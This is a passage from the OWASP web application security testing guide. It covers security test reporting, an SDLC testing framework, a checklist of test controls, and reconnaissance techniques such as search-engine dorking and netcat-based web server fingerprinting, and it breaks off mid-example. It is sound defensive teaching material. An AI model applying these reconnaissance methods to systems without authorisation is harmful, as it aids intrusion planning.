In order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools to use. Security tools can be qualified as being good at finding common known vulnerabilities targeting different artifacts.

The issue is that the unknown security issues are not tested. The fact that a security test is clear of issues does not mean that the software or application is good. Some studies [22] have demonstrated that, at best, tools can only find 45% of overall vulnerabilities.

Even the most sophisticated automation tools are not a match for an experienced security tester. Just relying on successful test results from automation tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources as well as security test training.

Reporting Requirements

The security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause or origin, such as coding errors, architectural flaws, and configuration issues.

Vulnerabilities can be classified according to different criteria. The most commonly used vulnerability severity metric is the Forum of Incident Response and Security Teams (FIRST) Common Vulnerability Scoring System (CVSS), which is currently in release version 2 with version 3 due for release shortly.

When reporting security test data the best practice is to include the following information:

- The categorization of each vulnerability by type
- The security threat that the issue is exposed to
- The root cause of security issues (e.g., security bugs, security flaw)
- The testing technique used to find the issue
- The remediation of the vulnerability (e.g., the countermeasure)
- The severity rating of the vulnerability (High, Medium, Low and/or CVSS score)

By describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.

Reporting the root cause of the issue can help pinpoint what needs to be fixed. In the case of a white box testing, for example, the software security root cause of the vulnerability will be the offending source code.

Once issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black box technique (penetration test), the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).

The information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.

Finally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves external risk analysis based upon factors such as impact and exposure.

Business Cases

For the security test metrics to be useful, they need to provide value back to the organization's security test data stakeholders. The stakeholders can include project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has in terms of role and responsibility.

Software developers look at security test data to show that software is coded more securely and efficiently. This allows them to make the case for using source code analysis tools as well as following secure coding standards and attending software security training.

Project managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates and are getting better during tests.

Security test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.

To compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.

Finally, Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to be allocated in security resources, look for derivation of a cost benefit analysis from security test data. This allows them to make informed decisions on which security activities and tools to invest. One of the metrics that

supports such analysis is the Return On Investment (ROI) in Security [23]. To derive such metrics from security test data, it is important to quantify the differential between the risk due to the exposure of vulnerabilities and the effectiveness of the security tests in mitigating the security risk, and factor this gap with the cost of the security testing activity or the testing tools adopted.

References

- [1] T. DeMarco, *Controlling Software Projects: Management, Measurement and Estimation*, Yourdon Press, 1982
- [2] S. Payne, *A Guide to Security Metrics* - http://www.sans.org/reading_room/whitepapers/auditing/55.php
- [3] NIST, *The economic impacts of inadequate infrastructure for software testing* - <http://www.nist.gov/director/planning/upload/report02-3.pdf>
- [4] Ross Anderson, *Economics and Security Resource Page* - <http://www.cl.cam.ac.uk/~rja14/econsec.html>
- [5] Denis Verdon, *Teaching Developers To Fish* - [[OWASP AppSec NYC 2004]]
- [6] Bruce Schneier, *Cryptogram Issue #9* - <https://www.schneier.com/crypto-gram-0009.html>
- [7] Symantec, *Threat Reports* - http://www.symantec.com/security_response/publications/threatreport.jsp
- [8] FTC, *The Gramm-Leach Bliley Act* - <http://business.ftc.gov/privacy-and-security/gramm-leach-bliley-act>
- [9] Senator Peace and Assembly Member Simitian, *SB 1386*- http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html
- [10] European Union, *Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data* - http://ec.europa.eu/justice/policies/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf
- [11] NIST, *Risk management guide for information technology systems* - http://csrc.nist.gov/publications/nistpubs/800-30-rev1/sp800_30_r1.pdf
- [12] SEI, Carnegie Mellon, *Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE)* - <http://www.cert.org/octave/>
- [13] Ken Thompson, *Reflections on Trusting Trust*, Reprinted from *Communication of the ACM* - <http://cm.bell-labs.com/who/ken/trust.html>
- [14] Gary McGraw, *Beyond the Badness-ometer* - <http://www.drdoobs.com/security/beyond-the-badness-ometer/189500001>
- [15] FFIEC, *Authentication in an Internet Banking Environment* - http://www.ffiec.gov/pdf/authentication_guidance.pdf
- [16] PCI Security Standards Council, *PCI Data Security Standard* - https://www.pcisecuritystandards.org/security_standards/index.php
- [17] MSDN, *Cheat Sheet: Web Application Security Frame* - http://msdn.microsoft.com/en-us/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe
- [18] MSDN, *Improving Web Application Security, Chapter 2, Threat And Countermeasures* - <http://msdn.microsoft.com/en-us/library/aa302418.aspx>
- [19] Gil Regev, Ian Alexander, Alain Wegmann, *Use Cases and Misuse Cases Model the Regulatory Roles of Business Processes* - http://easyweb.easynet.co.uk/~iany/consultancy/regulatory_processes/regulatory_processes.htm

[20] Sindre, G. Opdmal A., *Capturing Security Requirements Through Misuse Cases* - <http://folk.uio.no/nik/2001/21-sindre.pdf>

[21] Improving Security Across the Software Development Lifecycle Task Force, *Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices* - <http://www.criminal-justice-careers.com/resources/SDLCFULL.pdf>

[22] MITRE, *Being Explicit About Weaknesses, Slide 30, Coverage of CWE* - http://cwe.mitre.org/documents/being-explicit/BlackHatDC_BeingExplicit_Slides.ppt

[23] Marco Morana, *Building Security Into The Software Life Cycle, A Business Case* - <http://www.blackhat.com/presentations/bh-usa-06/bh-us-06-Morana-R3.0.pdf>

The OWASP Testing Framework

Overview

This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization's development process and culture.

This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.

It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. In "Writing Secure Code" Howard and LeBlanc note that issuing a security bulletin costs Microsoft at least \$100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government's [CyberCrime web site](#) details recent criminal cases and the loss to organizations. Typical losses far exceed USD \$100,000.

With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on testing in the early cycles of application development such as definition, design, and development.

Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.

As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.

This testing framework consists of the following activities that should take place:

- Before development begins
- During definition and design
- During development
- During deployment
- Maintenance and operations

Phase 1: Before Development Begins

Phase 1.1: Define a SDLC

Before application development starts an adequate SDLC must be defined where security is inherent at each stage.

Phase 1.2: Review Policies and Standards

Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow.

People can only do the right thing if they know what the right thing is.

If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.

Phase 1.3: Develop Measurement and Metrics Criteria and Ensure Traceability

Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.

Phase 2: During Definition and Design

Phase 2.1: Review Security Requirements

Security requirements define how an application works from a security perspective. It is essential that the security requirements are tested. Testing in this case means testing the assumptions that are made in the requirements and testing to see if there are gaps in the requirements definitions.

For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system or should the user be authenticated? Ensure that requirements are as unambiguous as possible.

When looking for requirements gaps, consider looking at security mechanisms such as:

- User Management
- Authentication
- Authorization
- Data Confidentiality
- Integrity
- Accountability
- Session Management
- Transport Security
- Tiered System Segregation
- Legislative and standards compliance (including Privacy, Government and Industry standards)

Phase 2.2: Review Design and Architecture

Applications should have a documented design and architecture. This documentation can include models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.

Identifying security flaws in the design phase is not only one of the most cost-efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (ie, fixing input validation in one place, rather than in hundreds of places, is far cheaper).

If weaknesses are discovered, they should be given to the system architect for alternative approaches.

Phase 2.3: Create and Review UML Models

Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.

Phase 2.4: Create and Review Threat Models

Armed with design and architecture reviews and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.

Phase 3: During Development

Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.

Phase 3.1: Code Walk Through

The security team should perform a code walk through with the developers, and in some cases, the system architects. A code walk through is a high-level walk through of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.

The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.

Phase 3.2: Code Reviews

Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.

Static code reviews validate the code against a set of checklists, including:

- Business requirements for availability, confidentiality, and integrity.
- OWASP Guide or Top 10 Checklists for technical exposures (depending on the depth of the review).
- Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.
- Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes. In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method and rely least on the skill of the reviewer. However, they are not a silver bullet and need to be considered carefully within a full-spectrum testing regime.

For more details on OWASP checklists, please refer to [OWASP Guide for Secure Web Applications](#), or the latest edition of the [OWASP Top 10](#).

Phase 4: During Deployment

Phase 4.1: Application Penetration Testing

Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed.

Phase 4.2: Configuration Management Testing

The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.

Phase 5: Maintenance and Operations

Phase 5.1: Conduct Operational Management Reviews

There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.

Phase 5.2: Conduct Periodic Health Checks


Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.

Phase 5.3: Ensure Change Verification

After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that the change is checked to ensure that the level of security has not been affected by the change. This should be integrated into the change management process.

A Typical SDLC Testing Workflow

The following figure shows a typical SDLC Testing Workflow.



Web Application Security Testing

The following sections describe the 12 subcategories of the Web Application Penetration Testing Methodology:

- [Introduction and Objectives](#)
- [Information Gathering](#)
- [Configuration and Deployment Management Testing](#)
- [Identity Management Testing](#)
- [Authentication Testing](#)
- [Authorization Testing](#)
- [Session Management Testing](#)
- [Input Validation Testing](#)
- [Testing for Error Handling](#)
- [Testing for weak Cryptography](#)
- [Business Logic Testing](#)
- [Client Side Testing](#)

Testing: Introduction and objectives

This section describes the OWASP web application security testing methodology and explains how to test for evidence of vulnerabilities within the application due to deficiencies with identified security controls.

What is Web Application Security Testing?

A security test is a method of evaluating the security of a computer system or network by methodically validating and verifying the effectiveness of application security controls. A web application security test focuses only on evaluating the security of a web application. The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner, together with an assessment of the impact, a proposal for mitigation or a technical solution.

What is a Vulnerability?

A vulnerability is a flaw or weakness in a system's design, implementation, operation or management that could be exploited to compromise the system's security objectives.

What is a Threat?

A threat is anything (a malicious external attacker, an internal user, a system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file system) by exploiting a vulnerability.

What is a Test?

A test is an action to demonstrate that an application meets the security requirements of its stakeholders.

The Approach in Writing this Guide

The OWASP approach is open and collaborative:

- Open: every security expert can participate with his or her experience in the project. Everything is free.
- Collaborative: brainstorming is performed before the articles are written so the team can share ideas and develop a collective vision of the project. That means rough consensus, a wider audience and increased participation.

This approach tends to create a defined Testing Methodology that will be:

- Consistent
- Reproducible
- Rigorous
- Under quality control

The problems to be addressed are fully documented and tested. It is important to use a method to test all known vulnerabilities and document all the security test activities.

What is the OWASP testing methodology?

Security testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, security testing is only an appropriate technique for testing the security of web applications under certain circumstances. The goal of this project is to collect all the possible testing techniques, explain these techniques, and keep the guide updated. The OWASP Web Application Security Testing method is based on the black box approach. The tester

knows nothing or has very little information about the application to be tested.

The testing model consists of:

- Tester: Who performs the testing activities
- Tools and methodology: The core of this Testing Guide project
- Application: The black box to test

The test is divided into 2 phases:

- Phase 1 Passive mode:

In the passive mode the tester tries to understand the application's logic and plays with the application. Tools can be used for information gathering. For example, an HTTP proxy can be used to observe all the HTTP requests and responses. At the end of this phase, the tester should understand all the access points ("gates") of the application (e.g., HTTP headers, parameters, and cookies). The Information Gathering section explains how to perform a passive mode test.

For example the tester could find the following:

```
https://www.example.com/login/Authentic_Form.html
```

This may indicate an authentication form where the application requests a username and a password.

The following parameters represent two access points (gates) to the application:

```
http://www.example.com/Appx.jsp?a=1&b=1
```

In this case, the application shows two gates (parameters a and b). All the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access points would be useful for the second phase.

- Phase 2 Active mode:

In this phase the tester begins to test using the methodology described in the follow sections.

The set of active tests have been split into 11 sub-categories for a total of 91 controls:

- Information Gathering
- Configuration and Deployment Management Testing
- Identity Management Testing
- Authentication Testing
- Authorization Testing
- Session Management Testing
- Input Validation Testing
- Error Handling
- Cryptography
- Business Logic Testing
- Client Side Testing

Testing Checklist

The following is the list of controls to test during the assessment:

Ref. No.	Category	Test Name
4.2		Information Gathering
4.2.1	OTG-INFO-001	Conduct Search Engine Discovery and Reconnaissance for Information Leakage
4.2.2	OTG-INFO-002	Fingerprint Web Server
4.2.3	OTG-INFO-003	Review Webserver Metafiles for Information Leakage
4.2.4	OTG-INFO-004	Enumerate Applications on Webserver
4.2.5	OTG-INFO-005	Review Webpage Comments and Metadata for Information Leakage
4.2.6	OTG-INFO-006	Identify application entry points
4.2.7	OTG-INFO-007	Map execution paths through application
4.2.8	OTG-INFO-008	Fingerprint Web Application Framework
4.2.9	OTG-INFO-009	Fingerprint Web Application
4.2.10	OTG-INFO-010	Map Application Architecture
4.3		Configuration and Deploy Management Testing
4.3.1	OTG-CONFIG-001	Test Network/Infrastructure Configuration
4.3.2	OTG-CONFIG-002	Test Application Platform Configuration
4.3.3	OTG-CONFIG-003	Test File Extensions Handling for Sensitive Information
4.3.4	OTG-CONFIG-004	Backup and Unreferenced Files for Sensitive Information
4.3.5	OTG-CONFIG-005	Enumerate Infrastructure and Application Admin Interfaces
4.3.6	OTG-CONFIG-006	Test HTTP Methods
4.3.7	OTG-CONFIG-007	Test HTTP Strict Transport Security
4.3.8	OTG-CONFIG-008	Test RIA cross domain policy
4.4		Identity Management Testing
4.4.1	OTG-IDENT-001	Test Role Definitions
4.4.2	OTG-IDENT-002	Test User Registration Process
4.4.3	OTG-IDENT-003	Test Account Provisioning Process
4.4.4	OTG-IDENT-004	Testing for Account Enumeration and Guessable User Account
4.4.5	OTG-IDENT-005	Testing for Weak or unenforced username policy
4.4.6	OTG-IDENT-006	Test Permissions of Guest/Training Accounts
4.4.7	OTG-IDENT-007	Test Account Suspension/Resumption Process
4.5		Authentication Testing

4.5.1	OTG-AUTHN-001	Testing for Credentials Transported over an Encrypted Channel
4.5.2	OTG-AUTHN-002	Testing for default credentials
4.5.3	OTG-AUTHN-003	Testing for Weak lock out mechanism
4.5.4	OTG-AUTHN-004	Testing for bypassing authentication schema
4.5.5	OTG-AUTHN-005	Test remember password functionality
4.5.6	OTG-AUTHN-006	Testing for Browser cache weakness
4.5.7	OTG-AUTHN-007	Testing for Weak password policy
4.5.8	OTG-AUTHN-008	Testing for Weak security question/answer
4.5.9	OTG-AUTHN-009	Testing for weak password change or reset functionalities
4.5.10	OTG-AUTHN-010	Testing for Weaker authentication in alternative channel
4.6		Authorization Testing
4.6.1	OTG-AUTHZ-001	Testing Directory traversal/file include
4.6.2	OTG-AUTHZ-002	Testing for bypassing authorization schema
4.6.3	OTG-AUTHZ-003	Testing for Privilege Escalation
4.6.4	OTG-AUTHZ-004	Testing for Insecure Direct Object References
4.7		Session Management Testing
4.7.1	OTG-SESS-001	Testing for Bypassing Session Management Schema
4.7.2	OTG-SESS-002	Testing for Cookies attributes
4.7.3	OTG-SESS-003	Testing for Session Fixation
4.7.4	OTG-SESS-004	Testing for Exposed Session Variables
4.7.5	OTG-SESS-005	Testing for Cross Site Request Forgery
4.7.6	OTG-SESS-006	Testing for logout functionality
4.7.7	OTG-SESS-007	Test Session Timeout
4.7.8	OTG-SESS-008	Testing for Session puzzling
4.8		Data Validation Testing
4.8.1	OTG-INPVAL-001	Testing for Reflected Cross Site Scripting
4.8.2	OTG-INPVAL-002	Testing for Stored Cross Site Scripting
4.8.3	OTG-INPVAL-003	Testing for HTTP Verb Tampering
4.8.4	OTG-INPVAL-004	Testing for HTTP Parameter pollution
4.8.5	OTG-INPVAL-005	Testing for SQL Injection
4.8.5.1		Oracle Testing
4.8.5.2		MySQL Testing
4.8.5.3		SQL Server Testing
4.8.5.4		Testing PostgreSQL
4.8.5.5		MS Access Testing
4.8.5.6		Testing for NoSQL injection

4.8.6	OTG-INPVAL-006	Testing for LDAP Injection
4.8.7	OTG-INPVAL-007	Testing for ORM Injection
4.8.8	OTG-INPVAL-008	Testing for XML Injection
4.8.9	OTG-INPVAL-009	Testing for SSI Injection
4.8.10	OTG-INPVAL-010	Testing for XPath Injection
4.8.11	OTG-INPVAL-011	IMAP/SMTP Injection
4.8.12	OTG-INPVAL-012	Testing for Code Injection
4.8.12.1		Testing for Local File Inclusion
4.8.12.2		Testing for Remote File Inclusion
4.8.13	OTG-INPVAL-013	Testing for Command Injection
4.8.14	OTG-INPVAL-014	Testing for Buffer overflow
4.8.14.1		Testing for Heap overflow
4.8.14.2		Testing for Stack overflow
4.8.14.3		Testing for Format string
4.8.15	OTG-INPVAL-015	Testing for incubated vulnerabilities
4.8.16	OTG-INPVAL-016	Testing for HTTP Splitting/Smuggling
4.9		Error Handling
4.9.1	OTG-ERR-001	Analysis of Error Codes
4.9.2	OTG-ERR-002	Analysis of Stack Traces
4.10		Cryptography
4.10.1	OTG-CRYPST-001	Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection
4.10.2	OTG-CRYPST-002	Testing for Padding Oracle
4.10.3	OTG-CRYPST-003	Testing for Sensitive information sent via unencrypted channels
4.11		Business Logic Testing
4.11.1	OTG-BUSLOGIC-001	Test Business Logic Data Validation
4.11.2	OTG-BUSLOGIC-002	Test Ability to Forge Requests
4.11.3	OTG-BUSLOGIC-003	Test Integrity Checks
4.11.4	OTG-BUSLOGIC-004	Test for Process Timing
4.11.5	OTG-BUSLOGIC-005	Test Number of Times a Function Can be Used Limits
4.11.6	OTG-BUSLOGIC-006	Testing for the Circumvention of Work Flows
4.11.7	OTG-BUSLOGIC-007	Test Defenses Against Application Mis-use
4.11.8	OTG-BUSLOGIC-008	Test Upload of Unexpected File Types

4.11.9	OTG-BUSLOGIC-009	Test Upload of Malicious Files
4.12		Client Side Testing
4.12.1	OTG-CLIENT-001	Testing for DOM based Cross Site Scripting
4.12.2	OTG-CLIENT-002	Testing for JavaScript Execution
4.12.3	OTG-CLIENT-003	Testing for HTML Injection
4.12.4	OTG-CLIENT-004	Testing for Client Side URL Redirect
4.12.5	OTG-CLIENT-005	Testing for CSS Injection
4.12.6	OTG-CLIENT-006	Testing for Client Side Resource Manipulation
4.12.7	OTG-CLIENT-007	Test Cross Origin Resource Sharing
4.12.8	OTG-CLIENT-008	Testing for Cross Site Flashing
4.12.9	OTG-CLIENT-009	Testing for Clickjacking
4.12.10	OTG-CLIENT-010	Testing WebSockets
4.12.11	OTG-CLIENT-011	Test Web Messaging
4.12.12	OTG-CLIENT-012	Test Local Storage

Information Gathering

Testing for Information Gathering includes the following articles:

- [Conduct Search Engine Discovery and Reconnaissance for Information Leakage \(OTG-INFO-001\)](#)
- [Fingerprint Web Server \(OTG-INFO-002\)](#)
- [Review Webserver Metafiles for Information Leakage \(OTG-INFO-003\)](#)
- [Enumerate Applications on Webserver \(OTG-INFO-004\)](#)
- [Review Webpage Comments and Metadata for Information Leakage \(OTG-INFO-005\)](#)
- [Identify application entry points \(OTG-INFO-006\)](#)
- [Map execution paths through application \(OTG-INFO-007\)](#)
- [Fingerprint Web Application Framework \(OTG-INFO-008\)](#)
- [Fingerprint Web Application \(OTG-INFO-009\)](#)
- [Map Application Architecture \(OTG-INFO-010\)](#)

Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)

Summary

There are direct and indirect elements to search engine discovery and reconnaissance. Direct methods relate to searching the indexes and the associated content from caches. Indirect methods relate to gleaning sensitive design and configuration information by searching forums, newsgroups, and tendering websites.

Once a search engine robot has completed crawling, it commences indexing the web page based on tags and associated attributes, such as `<TITLE>`, in order to return the relevant search results [1]. If the robots.txt file is not updated during the lifetime of the web site, and inline HTML meta tags that instruct robots not to index content have not been used, then it is possible for indexes to contain web content not intended to be included in by the owners. Website owners may use the previously mentioned robots.txt, HTML meta tags, authentication, and tools provided by search engines to remove such content.

Test Objectives

To understand what sensitive design and configuration information of the application/system/organization is exposed both directly (on the organization's website) or indirectly (on a third party website).

How to Test

Use a search engine to search for:

- Network diagrams and configurations
- Archived posts and emails by administrators and other key staff
- Log on procedures and username formats
- Usernames and passwords
- Error message content
- Development, test, UAT and staging versions of the website

Search operators

Using the advanced "site:" search operator, it is possible to restrict search results to a specific domain [2]. Do not limit testing to just one search engine provider as they may generate different results depending on when they crawled content and their own algorithms. Consider using the following search engines:

- Baidu
- binsearch.info
- Bing
- Duck Duck Go
- ixquick/Startpage
- Google
- Shodan
- PunkSpider

Duck Duck Go and ixquick/Startpage provide reduced information leakage about the tester.

Google provides the Advanced "cache:" search operator [2], but this is the equivalent to clicking the "Cached" next to each Google Search Result. Hence, the use of the Advanced "site:" Search Operator and then clicking "Cached" is preferred.


The Google SOAP Search API supports the doGetCachedPage and the associated doGetCachedPageResponse SOAP Messages [3] to assist with retrieving cached pages. An implementation of this is under development by the [OWASP "Google Hacking" Project](#).

PunkSpider is web application vulnerability search engine. It is of little use for a penetration tester doing manual work. However it can be useful as demonstration of easiness of finding vulnerabilities by script-kiddies.

Example


To find the web content of owasp.org indexed by a typical search engine, the syntax required is:

```
site:owasp.org
```



To display the index.html of owasp.org as cached, the syntax is:

```
cache:owasp.org
```



Google Hacking Database

The Google Hacking Database is list of useful search queries for Google. Queries are put in several categories:

- Footholds
- Files containing usernames
- Sensitive Directories
- Web Server Detection
- Vulnerable Files
- Vulnerable Servers
- Error Messages
- Files containing juicy info
- Files containing passwords
- Sensitive Online Shopping Info

Tools

- FoundStone SiteDigger - <http://www.mcafee.com/uk/downloads/free-tools/sitedigger.aspx>
- Google Hacker - <http://yehg.net/lab/pr0js/files.php/googlehacker.zip>
- Stach & Liu's Google Hacking Diggity Project - <http://www.stachliu.com/resources/tools/google-hacking-diggity-project/>
- PunkSPIDER - <http://punkspider.hyperiongray.com/>

References

Web

- [1] "Google Basics: Learn how Google Discovers, Crawls, and Serves Web Pages" - <https://support.google.com/webmasters/answer/70897>
- [2] "Operators and More Search Help" - <https://support.google.com/websearch/answer/136861?hl=en>
- [3] "Google Hacking Database" - <http://www.exploit-db.com/google-dorks/>

Remediation

Carefully consider the sensitivity of design and configuration information before it is posted online.

Periodically review the sensitivity of existing design and configuration information that is posted online.

Fingerprint Web Server (OTG-INFO-002)

Summary

Web server fingerprinting is a critical task for the penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.

There are several different vendors and versions of web servers on the market today. Knowing the type of web server that is being tested significantly helps in the testing process and can also change the course of the test. This information can be derived by sending the web server specific commands and analyzing the output, as each version of web server software may respond differently to these commands. By knowing how each type of web server responds to specific commands and keeping this information in a web server fingerprint database, a penetration tester can send these commands to the web server, analyze the response, and compare it to the database of known signatures. Please note that it usually takes several different commands to accurately identify the web server, as different versions may react similarly to the same command. Rarely do different versions react the same to all HTTP commands. So by sending several different commands, the tester can increase the accuracy of their guess.

Test Objectives

Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits to use during testing.

How to Test

Black Box testing

The simplest and most basic form of identifying a web server is to look at the Server field in the HTTP response header. Netcat is used in this experiment.

Consider the following HTTP Request-Response:

```
$ nc 202.41.76.251 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html
```

From the *Server* field, one can understand that the server is likely Apache, version 1.3.3, running on Linux operating system.

Four examples of the HTTP response headers are shown below.

From an **Apache 1.3.23** server:

```
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
```

```
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
```

From a **Microsoft IIS 5.0** server:

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d
Content-Length: 7369
```

From a **Netscape Enterprise 4.1** server:

```
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
```

From a **SunONE 6.1** server:

```
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Accept-Ranges: bytes
Connection: close
```

However, this testing methodology is limited in accuracy. There are several techniques that allow a web site to obfuscate or to modify the server banner string. For example one could obtain the following answer:

```
403 HTTP/1.1 Forbidden
Date: Mon, 16 Jun 2003 02:41: 27 GMT
Server: Unknown-Webserver/1.0
Connection: close
Content-Type: text/HTML; charset=iso-8859-1
```

In this case, the server field of that response is obfuscated. The tester cannot know what type of web server is running based on such information.

Protocol Behavior

More refined techniques take in consideration various characteristics of the several web servers available on the market. Below is a list of some methodologies that allow testers to deduce the type of web server in use.

HTTP header field ordering

The first method consists of observing the ordering of the several headers in the response. Every web server has an inner ordering of the header. Consider the following answers as an example:

Response from Apache 1.3.23

```
$ nc apache.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
```

Response from IIS 5.0

```
$ nc iis.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
